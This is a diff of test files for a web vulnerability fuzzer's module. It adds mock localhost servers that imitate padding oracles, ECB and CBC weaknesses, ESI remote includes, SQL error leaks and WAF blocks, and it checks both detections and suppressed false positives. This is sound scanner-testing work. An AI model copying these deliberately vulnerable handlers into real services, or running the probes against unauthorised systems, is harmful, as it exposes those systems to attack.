+        module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler)
+
+        parent_event = module_test.scan.make_event(
+            "http://127.0.0.1:8888/",
+            "URL",
+            module_test.scan.root_event,
+            module="http",
+            tags=["status-200", "distance-0"],
+        )
+
+        data = {
+            "host": "127.0.0.1",
+            "type": "COOKIE",
+            "name": "custom_session_cookie",
+            "original_value": self.narrow_charset_value,
+            "url": "http://127.0.0.1:8888/",
+            "description": "Test narrow charset cookie",
+        }
+        seed_event = module_test.scan.make_event(data, "WEB_PARAMETER", parent_event, tags=["distance-0"])
+        await module_test.scan.ingress_module.incoming_event_queue.put(seed_event)
+
+    def check(self, module_test, events):
+        crypto_finding = False
+        padding_oracle_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                if "Cryptographic Parameter" in e.data["description"]:
+                    crypto_finding = True
+                if "Padding Oracle" in e.data["description"]:
+                    padding_oracle_finding = True
+
+        assert not crypto_finding, "Narrow-charset parameter should NOT be identified as cryptographic"
+        assert not padding_oracle_finding, "Narrow-charset parameter should NOT trigger padding oracle detection"
+
+
+class Test_Lightfuzz_PaddingOracleDetection_Jitter(Test_Lightfuzz_PaddingOracleDetection):
+    """Padding oracle negative test: the server produces inconsistent responses across rounds.
+    The first round may trigger detection, but the confirmation round should fail,
+    suppressing the jitter-based false positive."""
+
+    oracle_request_count = 0
+
+    def request_handler(self, request):
+        encrypted_value = quote(
+            "dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q+4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg=="
+        )
+        default_html_response = f"""
+        <html>
+            <body>
+                <form action="/decrypt" method="post">
+                    <input type="hidden" name="encrypted_data" value="{encrypted_value}" />
+                    <button type="submit">Decrypt</button>
+                </form>
+            </body>
+        </html>
+        """
+
+        if "/decrypt" in request.url and request.method == "POST":
+            if request.form and request.form["encrypted_data"]:
+                encrypted_data = request.form["encrypted_data"]
+
+                if "4GXVGZbo0DTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg" in encrypted_data:
+                    response_content = "DIFFERENT CRYPTOGRAPHIC ERROR"
+                elif encrypted_data.startswith("AAAAAAAAAAAAAAAA"):
+                    Test_Lightfuzz_PaddingOracleDetection_Jitter.oracle_request_count += 1
+                    # First 254 requests (round 1): produce oracle-like signal (1 differ)
+                    if Test_Lightfuzz_PaddingOracleDetection_Jitter.oracle_request_count <= 254:
+                        try:
+                            decoded = base64.b64decode(encrypted_data)
+                            if len(decoded) >= 32:
+                                varying_byte = decoded[31]
+                                if varying_byte == 100:
+                                    response_content = "Padding error detected"
+                                else:
+                                    response_content = "Decryption failed"
+                            else:
+                                response_content = "Decryption failed"
+                        except Exception:
+                            response_content = "Decryption failed"
+                    else:
+                        # Confirmation round: all responses identical (no oracle signal)
+                        response_content = "Decryption failed"
+                elif "AAAAAAA" in encrypted_data:
+                    response_content = "YET DIFFERENT CRYPTOGRAPHIC ERROR"
+                else:
+                    response_content = "Decryption failed"
+
+            return Response(response_content, status=200)
+        else:
+            return Response(default_html_response, status=200)
+
+    def check(self, module_test, events):
+        web_parameter_extracted = False
+        padding_oracle_detected = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [encrypted_data] (POST Form" in e.data["description"]:
+                    web_parameter_extracted = True
+            if e.type == "FINDING":
+                if "Padding Oracle" in e.data["description"]:
+                    padding_oracle_detected = True
+
+        assert web_parameter_extracted, "Web parameter was not extracted"
+        assert not padding_oracle_detected, (
+            "Padding oracle should NOT be detected when confirmation round fails (jitter false positive)"
+        )
+
+
 class Test_Lightfuzz_XSS_jsquotecontext(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate", "paramminer_getparams"]
+    modules_overrides = ["http", "lightfuzz", "excavate", "paramminer_getparams"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -1958,7 +3236,7 @@ def check(self, module_test, events):
 
 class Test_Lightfuzz_esi(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -2024,6 +3302,72 @@ def check(self, module_test, events):
         assert esi_finding_emitted, "ESI FINDING not emitted"
 
 
+# ESI remote-include OOB — verifies the new `<esi:include>` probe triggers
+# an interactsh callback when the edge actually fetches the include URL,
+# producing a CRITICAL CONFIRMED finding separate from the tag-strip one.
+class Test_Lightfuzz_esi_interactsh(Test_Lightfuzz_esi):
+    config_overrides = {
+        "interactsh_disable": False,
+        "modules": {
+            "lightfuzz": {"enabled_submodules": ["esi"]},
+        },
+    }
+
+    async def setup_before_prep(self, module_test):
+        self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz")
+
+        def mock_interactsh_factory(*args, **kwargs):
+            return self.interactsh_mock_instance
+
+        from bbot.core.helpers.helper import ConfigAwareHelper
+
+        module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory)
+
+    def request_handler(self, request):
+        import re as _re
+
+        qs = str(request.query_string.decode())
+        # Parameter block must include the search form so excavate can
+        # extract the `search` GETPARAM on the initial fetch; otherwise
+        # esi only fuzzes the HEADER test param and the include probe
+        # never reaches us.
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=GET>
+                <input type=text placeholder='Search...' name=search>
+                <button type=submit class=button>Search</button>
+            </form>
+        </section>
+        """
+        if "search=" in qs:
+            # Split only at the FIRST `=` — the include payload's `src=`
+            # embeds unencoded `=` characters that would otherwise
+            # truncate the value.
+            value = qs.split("=", 1)[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            # Simulate an edge that fetches esi:include src URLs. Extract
+            # the interactsh subdomain from within an include payload and
+            # fire a mock interaction to prove the OOB detection path.
+            if "<esi:include" in decoded:
+                include_match = _re.search(r"([a-z]+)\.fakedomain\.fakeinteractsh\.com", decoded)
+                if include_match:
+                    tag = include_match.group(1)
+                    self.interactsh_mock_instance.mock_interaction(tag)
+            return Response(f"<html>search: '{decoded}'</html>", status=200)
+        return Response(parameter_block, status=200)
+
+    def check(self, module_test, events):
+        remote_include_finding = False
+        for e in events:
+            if e.type == "FINDING":
+                desc = e.data["description"]
+                if "Edge Side Include Remote Fetch (OOB Interaction)" in desc and "Parameter: [search]" in desc:
+                    remote_include_finding = True
+        assert remote_include_finding, "ESI remote-include OOB FINDING not emitted"
+
+
 # Envelope state isolation: crypto error detection with all submodules enabled.
 # Crypto runs after sqli/cmdi/xss/path/ssti. Each prior submodule calls outgoing_probe_value()
 # which must not corrupt the envelope state that crypto reads via incoming_probe_value().
@@ -2062,74 +3406,356 @@ class Test_Lightfuzz_envelope_isolation_paddingoracle_reflecting(Test_Lightfuzz_
     }
 
 
-# Test filter_event method with WAF tags
-class Test_Lightfuzz_filter_event(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz"]
+# ECB Mode Detection: ciphertext with repeated 16-byte blocks (A+B+A+B pattern)
+class Test_Lightfuzz_ECBDetection(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888/"]
+    modules_overrides = ["http", "excavate", "lightfuzz"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
-            "lightfuzz": {
-                "enabled_submodules": ["xss"],
-                "avoid_wafs": True,
-            }
+            "lightfuzz": {"enabled_submodules": ["crypto"]},
         },
     }
 
-    async def setup_after_prep(self, module_test):
-        # Create test events with WAF tags
-        self.url_event_with_waf = module_test.scan.make_event(
-            "http://127.0.0.1:8888/",
-            "URL",
-            module_test.scan.root_event,
-            module="httpx",
-            tags=["status-200", "distance-0", "waf"],
-        )
+    # Two 16-byte blocks with non-overlapping byte values (high entropy), repeated A+B+A+B
+    _block_a = bytes(range(16)).hex()  # 000102...0f
+    _block_b = bytes(range(128, 144)).hex()  # 808182...8f
+    ecb_ciphertext_hex = _block_a + _block_b + _block_a + _block_b
 
-        self.web_param_event_with_waf = module_test.scan.make_event(
-            {
-                "host": "127.0.0.1",
-                "type": "GETPARAM",
-                "name": "test",
-                "original_value": "value",
-                "url": "http://127.0.0.1:8888/",
-                "description": "Test parameter",
-            },
-            "WEB_PARAMETER",
-            module_test.scan.root_event,
-            module="excavate",
-            tags=["distance-0", "waf"],
-        )
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = f"""
+        <section>
+            <form action=/ method=GET>
+                <input type=text value='{self.ecb_ciphertext_hex}' name=token>
+                <button type=submit>Submit</button>
+            </form>
+        </section>
+        """
+        if "token=" in qs:
+            return Response("OK", status=200)
+        return Response(parameter_block, status=200)
 
-        self.url_event_without_waf = module_test.scan.make_event(
-            "http://127.0.0.1:8888/",
-            "URL",
-            module_test.scan.root_event,
-            module="httpx",
-            tags=["status-200", "distance-0"],
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
         )
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
-        self.web_param_event_without_waf = module_test.scan.make_event(
-            {
-                "host": "127.0.0.1",
-                "type": "GETPARAM",
-                "name": "test",
-                "original_value": "value",
-                "url": "http://127.0.0.1:8888/",
-                "description": "Test parameter",
-            },
-            "WEB_PARAMETER",
-            module_test.scan.root_event,
-            module="excavate",
-            tags=["distance-0"],
-        )
+    def check(self, module_test, events):
+        ecb_detected = False
+        for e in events:
+            if e.type == "FINDING":
+                if "ECB Mode Encryption Detected" in e.data["description"]:
+                    ecb_detected = True
+        assert ecb_detected, "ECB Mode Encryption FINDING not emitted"
 
-    async def test_filter_event(self, module_test):
-        lightfuzz_module = module_test.scan.modules["lightfuzz"]
 
-        # Test URL event with WAF tag - should be filtered out
-        result = await lightfuzz_module.filter_event(self.url_event_with_waf)
-        assert result is False, "URL event with waf tag should be filtered out"
+# ECB Negative: all unique blocks, should NOT detect ECB
+class Test_Lightfuzz_ECBDetection_Negative(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888/"]
+    modules_overrides = ["http", "excavate", "lightfuzz"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {"enabled_submodules": ["crypto"]},
+        },
+    }
+
+    # 4 unique 16-byte blocks with non-overlapping byte values (high entropy, no repeats)
+    unique_ciphertext_hex = (
+        bytes(range(0, 16)).hex()
+        + bytes(range(64, 80)).hex()
+        + bytes(range(128, 144)).hex()
+        + bytes(range(192, 208)).hex()
+    )
+
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = f"""
+        <section>
+            <form action=/ method=GET>
+                <input type=text value='{self.unique_ciphertext_hex}' name=token>
+                <button type=submit>Submit</button>
+            </form>
+        </section>
+        """
+        if "token=" in qs:
+            return Response("OK", status=200)
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        for e in events:
+            if e.type == "FINDING":
+                assert "ECB Mode Encryption Detected" not in e.data["description"], (
+                    "ECB falsely detected on unique blocks"
+                )
+
+
+# CBC Bit-Flipping Detection: server returns different responses for different byte-position mutations
+class Test_Lightfuzz_CBCBitflipDetection(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "excavate", "lightfuzz"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {"enabled_submodules": ["crypto"]},
+        },
+    }
+
+    # 3 blocks of 16 bytes = 48 bytes, base64-encoded
+    original_b64 = base64.b64encode(bytes(range(48))).decode()
+
+    def request_handler(self, request):
+        encrypted_value = quote(self.original_b64)
+        default_html = f"""
+        <html><body>
+            <form action="/process" method="post">
+                <input type="hidden" name="cipher" value="{encrypted_value}" />
+                <button type="submit">Process</button>
+            </form>
+        </body></html>
+        """
+        if "/process" in request.url and request.method == "POST":
+            if request.form and request.form.get("cipher"):
+                cipher_val = request.form["cipher"]
+                try:
+                    raw = base64.b64decode(cipher_val)
+                except Exception:
+                    return Response("Invalid input", status=200)
+                # Penultimate block starts at byte 16
+                # Check which byte in the penultimate block differs from original
+                original_raw = bytes(range(48))
+                if len(raw) == len(original_raw):
+                    penultimate_start = 16
+                    for i in range(penultimate_start, penultimate_start + 16):
+                        if raw[i] != original_raw[i]:
+                            # First byte (pos 16) vs middle byte (pos 24) produce different responses
+                            if i < penultimate_start + 8:
+                                return Response("Decryption result: type A", status=200)
+                            else:
+                                return Response("Decryption result: type B", status=200)
+                return Response("Decryption failed", status=200)
+            return Response("Decryption failed", status=200)
+        return Response(default_html, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        cbc_bitflip_detected = False
+        for e in events:
+            if e.type == "FINDING":
+                if "CBC Bit-Flipping Detected" in e.data["description"]:
+                    cbc_bitflip_detected = True
+        assert cbc_bitflip_detected, "CBC Bit-Flipping Detected FINDING not emitted"
+
+
+# CBC Bit-Flipping Negative: server returns identical response regardless of mutation position
+class Test_Lightfuzz_CBCBitflipDetection_Negative(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "excavate", "lightfuzz"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {"enabled_submodules": ["crypto"]},
+        },
+    }
+
+    original_b64 = base64.b64encode(bytes(range(48))).decode()
+
+    def request_handler(self, request):
+        encrypted_value = quote(self.original_b64)
+        default_html = f"""
+        <html><body>
+            <form action="/process" method="post">
+                <input type="hidden" name="cipher" value="{encrypted_value}" />
+                <button type="submit">Process</button>
+            </form>
+        </body></html>
+        """
+        if "/process" in request.url and request.method == "POST":
+            return Response("Decryption failed", status=200)
+        return Response(default_html, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        for e in events:
+            if e.type == "FINDING":
+                assert "CBC Bit-Flipping Detected" not in e.data["description"], (
+                    "CBC Bit-Flipping falsely detected on identical responses"
+                )
+
+
+# CBC Bit-Flipping without Padding Oracle: server never fails decryption (OPENSSL_ZERO_PADDING equivalent).
+# Every input produces a unique response derived from the submitted value — no padding validity leaked.
+# Padding oracle sends ~254 probes that all get unique responses → differ_count >> block_size → not detected.
+# CBC bit-flip probes still produce different responses → detected.
+class Test_Lightfuzz_CBCBitflipDetection_NoPaddingOracle(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "excavate", "lightfuzz"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {"enabled_submodules": ["crypto"]},
+        },
+    }
+
+    # 3 blocks of 16 bytes = 48 bytes, base64-encoded
+    original_b64 = base64.b64encode(bytes(range(48))).decode()
+
+    def request_handler(self, request):
+        encrypted_value = quote(self.original_b64)
+        default_html = f"""
+        <html><body>
+            <form action="/process" method="post">
+                <input type="hidden" name="cipher" value="{encrypted_value}" />
+                <button type="submit">Process</button>
+            </form>
+        </body></html>
+        """
+        if "/process" in request.url and request.method == "POST":
+            if request.form and request.form.get("cipher"):
+                cipher_val = request.form["cipher"]
+                # No error paths — always return content derived from input.
+                # Simulates OPENSSL_ZERO_PADDING: decryption never fails.
+                import hashlib
+
+                digest = hashlib.md5(cipher_val.encode()).hexdigest()
+                return Response(f"Session loaded: {digest}", status=200)
+            return Response("Session loaded: default", status=200)
+        return Response(default_html, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        cbc_bitflip_detected = False
+        padding_oracle_detected = False
+        for e in events:
+            if e.type == "FINDING":
+                if "CBC Bit-Flipping Detected" in e.data["description"]:
+                    cbc_bitflip_detected = True
+                if "Padding Oracle Vulnerability" in e.data["description"]:
+                    padding_oracle_detected = True
+        assert cbc_bitflip_detected, "CBC Bit-Flipping should be detected even without padding oracle"
+        assert not padding_oracle_detected, "Padding Oracle should NOT be detected when decryption never fails"
+
+
+# Envelope state isolation: ECB detection with all submodules enabled
+class Test_Lightfuzz_envelope_isolation_ecb(Test_Lightfuzz_ECBDetection):
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"],
+            }
+        },
+    }
+
+
+# Envelope state isolation: CBC bit-flip detection with all submodules enabled
+class Test_Lightfuzz_envelope_isolation_cbc_bitflip(Test_Lightfuzz_CBCBitflipDetection):
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"],
+            }
+        },
+    }
+
+
+# Envelope state isolation: CBC bit-flip without padding oracle, all submodules enabled
+class Test_Lightfuzz_envelope_isolation_cbc_bitflip_no_po(Test_Lightfuzz_CBCBitflipDetection_NoPaddingOracle):
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"],
+            }
+        },
+    }
+
+
+# Test filter_event method with WAF tags
+class Test_Lightfuzz_filter_event(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["xss"],
+                "avoid_wafs": True,
+            }
+        },
+    }
+
+    async def setup_after_prep(self, module_test):
+        # Create test events with WAF tags
+        self.url_event_with_waf = module_test.scan.make_event(
+            "http://127.0.0.1:8888/",
+            "URL",
+            module_test.scan.root_event,
+            module="http",
+            tags=["status-200", "distance-0", "waf"],
+        )
+
+        self.web_param_event_with_waf = module_test.scan.make_event(
+            {
+                "host": "127.0.0.1",
+                "type": "GETPARAM",
+                "name": "test",
+                "original_value": "value",
+                "url": "http://127.0.0.1:8888/",
+                "description": "Test parameter",
+            },
+            "WEB_PARAMETER",
+            module_test.scan.root_event,
+            module="excavate",
+            tags=["distance-0", "waf"],
+        )
+
+        self.url_event_without_waf = module_test.scan.make_event(
+            "http://127.0.0.1:8888/",
+            "URL",
+            module_test.scan.root_event,
+            module="http",
+            tags=["status-200", "distance-0"],
+        )
+
+        self.web_param_event_without_waf = module_test.scan.make_event(
+            {
+                "host": "127.0.0.1",
+                "type": "GETPARAM",
+                "name": "test",
+                "original_value": "value",
+                "url": "http://127.0.0.1:8888/",
+                "description": "Test parameter",
+            },
+            "WEB_PARAMETER",
+            module_test.scan.root_event,
+            module="excavate",
+            tags=["distance-0"],
+        )
+
+    async def test_filter_event(self, module_test):
+        lightfuzz_module = module_test.scan.modules["lightfuzz"]
+
+        # Test URL event with WAF tag - should be filtered out
+        result = await lightfuzz_module.filter_event(self.url_event_with_waf)
+        assert result is False, "URL event with waf tag should be filtered out"
 
         # Test WEB_PARAMETER event with WAF tag - should be filtered out
         result = await lightfuzz_module.filter_event(self.web_param_event_with_waf)
@@ -2151,7 +3777,7 @@ def check(self, module_test, events):
 # try_post_as_get: fuzz POST parameters as GET parameters
 class Test_Lightfuzz_try_post_as_get(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -2200,7 +3826,9 @@ def request_handler(self, request):
         return Response(parameter_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -2232,7 +3860,7 @@ def check(self, module_test, events):
 # try_get_as_post: fuzz GET parameters as POST parameters
 class Test_Lightfuzz_try_get_as_post(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "lightfuzz", "excavate"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
     config_overrides = {
         "interactsh_disable": True,
         "modules": {
@@ -2276,7 +3904,9 @@ def request_handler(self, request):
         return Response(parameter_block, status=200)
 
     async def setup_after_prep(self, module_test):
-        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
@@ -2299,3 +3929,1463 @@ def check(self, module_test, events):
         assert sqli_postparam_converted_finding_emitted, (
             "SQLi POSTPARAM (converted from GETPARAM) FINDING not emitted (try_get_as_post failed)"
         )
+
+
+# Padding Oracle Jitter Stability Pre-Check
+class Test_Lightfuzz_PaddingOracleDetection_JitterStability(Test_Lightfuzz_PaddingOracleDetection):
+    """Padding oracle negative test: the endpoint produces different response bodies for identical inputs
+    (e.g. ADFS with embedded timestamps/nonces). The stability pre-check should detect this and skip."""
+
+    jitter_counter = 0
+
+    def request_handler(self, request):
+        encrypted_value = quote(
+            "dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q+4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg=="
+        )
+        default_html_response = f"""
+        <html>
+            <body>
+                <form action="/decrypt" method="post">
+                    <input type="hidden" name="encrypted_data" value="{encrypted_value}" />
+                    <button type="submit">Decrypt</button>
+                </form>
+            </body>
+        </html>
+        """
+
+        if "/decrypt" in request.url and request.method == "POST":
+            # Every response is unique, simulating ADFS-style dynamic content
+            Test_Lightfuzz_PaddingOracleDetection_JitterStability.jitter_counter += 1
+            response_content = f"Error correlation_id={Test_Lightfuzz_PaddingOracleDetection_JitterStability.jitter_counter} nonce=abc{Test_Lightfuzz_PaddingOracleDetection_JitterStability.jitter_counter}"
+            return Response(response_content, status=200)
+        else:
+            return Response(default_html_response, status=200)
+
+    def check(self, module_test, events):
+        web_parameter_extracted = False
+        padding_oracle_detected = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [encrypted_data] (POST Form" in e.data["description"]:
+                    web_parameter_extracted = True
+            if e.type == "FINDING":
+                if "Padding Oracle" in e.data["description"]:
+                    padding_oracle_detected = True
+
+        assert web_parameter_extracted, "Web parameter was not extracted"
+        assert not padding_oracle_detected, (
+            "Padding oracle should NOT be detected when endpoint has jittery responses (stability pre-check should abort)"
+        )
+
+
+# XSS Multi-Context Reflection False Positive
+class Test_Lightfuzz_xss_multicontext(Test_Lightfuzz_xss):
+    """XSS negative test: parameter reflected in multiple contexts with different encoding.
+    Quote survives in text content but is encoded in tag attribute. Should NOT report Tag Attribute XSS."""
+
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+
+        parameter_block = """
+        <html>
+            <form action="/" method="GET">
+                <input type="text" name="path" value="default">
+                <button type="submit">Submit</button>
+            </form>
+        </html>
+        """
+        if "path=" in qs:
+            value = qs.split("path=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            decoded = unquote(value)
+            # Tag attribute context: quotes are URL-encoded (safe)
+            attr_value = decoded.replace('"', "%22")
+            # Text content: raw reflection (quotes survive but harmless here)
+            text_value = decoded
+            # JS context: everything URL-encoded (safe)
+            js_value = value
+
+            html = f"""
+<html>
+<form action="/page?path={attr_value}" method="GET">
+    <input type="text" name="path">
+</form>
+<h1>{text_value}</h1>
+<script>if('{js_value}') {{ }}</script>
+</html>
+            """
+            return Response(html, status=200)
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        web_parameter_emitted = False
+        tag_attribute_xss_emitted = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [path]" in e.data["description"]:
+                    web_parameter_emitted = True
+            if e.type == "FINDING":
+                if "Possible Reflected XSS" in e.data["description"] and "Tag Attribute" in e.data["description"]:
+                    tag_attribute_xss_emitted = True
+
+        assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
+        assert not tag_attribute_xss_emitted, (
+            "Tag Attribute XSS should NOT be reported when the quote only survives in text content, not in tag attributes"
+        )
+
+
+# SQLi WAF False Positive (Akamai-style 403)
+class Test_Lightfuzz_sqli_waf(Test_Lightfuzz_sqli):
+    """SQLi negative test: endpoint returns 403 with WAF signature when single quote is sent.
+    Should NOT report SQL injection."""
+
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=GET>
+                <input type=text placeholder='Search the blog...' name=search>
+                <button type=submit class=button>Search</button>
+            </form>
+        </section>
+        """
+        if "search=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+
+            if value.endswith("'") and not value.endswith("''"):
+                # WAF blocks the request with a known WAF string
+                waf_response = """
+                <html>
+                <head><title>Access Denied</title></head>
+                <body>
+                <h1>Access Denied</h1>
+                <p>The requested URL was rejected. Please consult with your administrator.</p>
+                </body>
+                </html>
+                """
+                return Response(waf_response, status=403)
+            return Response(parameter_block, status=200)
+        return Response(parameter_block, status=200)
+
+    def check(self, module_test, events):
+        web_parameter_emitted = False
+        sqli_finding_emitted = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [search]" in e.data["description"]:
+                    web_parameter_emitted = True
+            if e.type == "FINDING":
+                if "Possible SQL Injection" in e.data["description"] and "Code Change" in e.data["description"]:
+                    sqli_finding_emitted = True
+
+        assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
+        assert not sqli_finding_emitted, (
+            "SQLi should NOT be reported when single quote probe triggers a WAF 403 response"
+        )
+
+
+# SQLi flappy baseline: server alternates between status codes across rounds.
+# The confirmation loop should detect the instability and suppress the finding.
+class Test_Lightfuzz_sqli_flappy_baseline(Test_Lightfuzz_sqli):
+    """SQLi negative test: server flaps between 200 and 303 across requests.
+    The confirmation loop should detect unstable baselines and suppress the finding."""
+
+    request_count = 0
+
+    def request_handler(self, request):
+        self.__class__.request_count += 1
+        qs = str(request.query_string.decode())
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=GET>
+                <input type=text placeholder='Search the blog...' name=search>
+                <button type=submit class=button>Search</button>
+            </form>
+        </section>
+        """
+        if "search=" in qs:
+            value = qs.split("=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+
+            # First round: return the classic 200->500->200 pattern to trigger initial detection
+            # Subsequent rounds: flap baseline to 303 to simulate CDN instability
+            if self.__class__.request_count > 12:
+                # After initial probes, start flapping the baseline
+                return Response("Redirecting", status=303, headers={"Location": "/"})
+
+            if value.endswith("'"):
+                if value.endswith("''"):
+                    return Response("<p>normal</p>", status=200)
+                return Response("<p>error</p>", status=500)
+        return Response(parameter_block, status=200)
+
+    def check(self, module_test, events):
+        web_parameter_emitted = False
+        sqli_finding_emitted = False
+        for e in events:
+            if e.type == "WEB_PARAMETER":
+                if "HTTP Extracted Parameter [search]" in e.data["description"]:
+                    web_parameter_emitted = True
+            if e.type == "FINDING":
+                if "Possible SQL Injection" in e.data["description"] and "Code Change" in e.data["description"]:
+                    sqli_finding_emitted = True
+
+        assert web_parameter_emitted, "WEB_PARAMETER was not emitted"
+        assert not sqli_finding_emitted, (
+            "SQLi code-change finding should NOT be emitted when baseline is flappy across confirmation rounds"
+        )
+
+
+# Verify that POST SQLi findings include additional_params in the description
+class Test_Lightfuzz_sqli_post_additional_params(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "lightfuzz", "excavate"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "lightfuzz": {
+                "enabled_submodules": ["sqli"],
+            }
+        },
+    }
+
+    def request_handler(self, request):
+        parameter_block = """
+        <section class=search>
+            <form action=/ method=POST>
+                <input type=text name=search>
+                <input type=hidden name=form_id value=search_form>
+                <button type=submit>Search</button>
+            </form>
+        </section>
+        """
+        if "search" in request.form.keys():
+            value = request.form["search"]
+            if value.endswith("'"):
+                if value.endswith("''"):
+                    return Response("<p>normal</p>", status=200)
+                return Response("<p>error</p>", status=500)
+            return Response("<p>results</p>", status=200)
+        return Response(parameter_block, status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: (
+            "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA"
+        )
